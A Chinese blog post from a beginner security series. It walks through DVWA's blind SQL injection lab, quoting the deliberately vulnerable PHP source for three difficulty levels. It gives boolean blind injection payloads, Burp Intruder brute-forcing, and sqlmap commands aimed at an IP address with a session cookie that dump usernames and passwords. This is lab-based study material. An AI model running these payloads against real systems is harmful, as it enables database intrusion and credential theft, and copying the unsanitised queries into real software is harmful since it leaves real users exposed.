从零开始学安全--第7天

DVWA sql盲注

今天来练习一下dvwa的sql盲注,我们先看一下low的源码

SQL Injection (Blind) Source
vulnerabilities/sqli_blind/source/low.php
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

对$id没有做任何过滤,返回只有两种,正确的回显:User ID exists in the database,否则回显:User ID is MISSING from the database。

布尔盲注常用函数:
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
时间盲注常用函数:
if(exp1,exp2,exp3)
substr()

判断注入点

1’ and 1=1 #
在这里插入图片描述

1’ and 1=2 # 通过这两次注入可以判断这里提交的id是存在注入点的,因为返回不了数据库的查询结果,所以是盲注。
在这里插入图片描述

判断数据库长度
使用length()函数构造payload:1' and length(database())>=4 # 回显正确,说明数据库长度大于等于4,再进一步判断一下:1' and length(database())=3 # 回显错误,说明数据库长度是4。

判断数据库名
使用burp 重发包,这里一定要注意这个盲注要用url编码的,不然没有回显,这里的payload:1’ and substr(database(),1,1)=‘a’# ,可以这样一个个试,但是效率偏低,我们可以使用burp简单爆破一下
在这里插入图片描述
可以看出是名为dvwa的数据库
注意:

  1. substr(‘string’,a,b)函数后面的两个参数a,b指的是从a开始截取b个字符, 如:select
    substr(‘HelloWorld’,1,3) value from dual; //返回结果:Hel,截取从“H”开始3个字符

1、string 需要截取的字符串
2、a 截取字符串的开始位置(注:当a等于0或1时,都是从第一位开始截取)
3、b 要截取的字符串的长度

  1. 在使用intruder的时候一定要知道标记好哪一个是payload要遍历的,这里id=1%27+and+substr%28database%28%29%2C4%2C1%29%3D%27a%27%23
    其中的4是payload1 分别是1,2,3,4,payload2:a是’a-z’的字段。
  2. 这种爆破两个参数的我们选择爆破模式是cluster bomb(集束炸弹)

在这里插入图片描述
判断表名
我们先猜测这个数据库中有多少个表
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 回显错误 ,写等于2回显正确,说明有两个表。

用法:select * from tableName limit i,n
参数:
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
用limit限制返回的是一个数据
构造方法,先是select查询dvwa数据库表名,然后用(limit 0,1)限制返回的数量,再用length( (select limit 0,1))来判断

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>=8 #显示不存在
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#存在,第一个表名长9
1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>=5 #  显示存在
1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>=6#显示不存在 第二个表长5

爆表名

payload:1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g' #
和之前爆数据名类似,我们采用burp爆破,可以看到1-9 是guestbook,第二个表类似爆破出来是users

在这里插入图片描述
猜测字段数 1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=8 #
然后猜测字段名,这样手工注入太繁琐了,使用二分法来猜每个字段名

1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))>97 # 显示存在(a的ASCII值)

但是这样最后人工猜测数据也是很麻烦的,来试试sqlmap吧。

使用burp抓包找到cookie,使用cookie注入
在这里插入图片描述
id是可注入的

在这里插入图片描述

–dbs 看一下数据库是什么
在这里插入图片描述

sqlmap -u "http://118.123.33.175/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=vbbmu1dcl87salsfilgsbemf82" --tables -D "dvwa"

基于盲注,爆出表名
在这里插入图片描述

sqlmap -u "http://118.123.33.175/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=vbbmu1dcl87salsfilgsbemf82" --column -T "users" -D "dvwa"

爆出字段
在这里插入图片描述

sqlmap -u "http://118.123.33.175/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=vbbmu1dcl87salsfilgsbemf82" --dump -C "user,password" -T "users" -D "dvwa"

直接爆出用户密码,注入成功!
在这里插入图片描述

还有中级,使用mysqli_real_escape_string()函数对特殊符号:\x00,\n,\r,’,”,\x1a进行转义;
同时前端页面设置了下拉选择表单,希望以此来控制用户的输入,使用burp抓包可以改,hex绕过转义。

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

高级这与低级非常相似,但是这次攻击者以不同的方式输入值。输入值是在另一个页面上设置的,而不是GET请求,这里是从 Cookie 中获取 id 然后倒入到数据库中查询的,那么知道注入点之后依然可以使用 sqlmap 来进行注入 ,使用sqlmap cookie注入都可以成功,手工盲注会花费大量的时间。

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值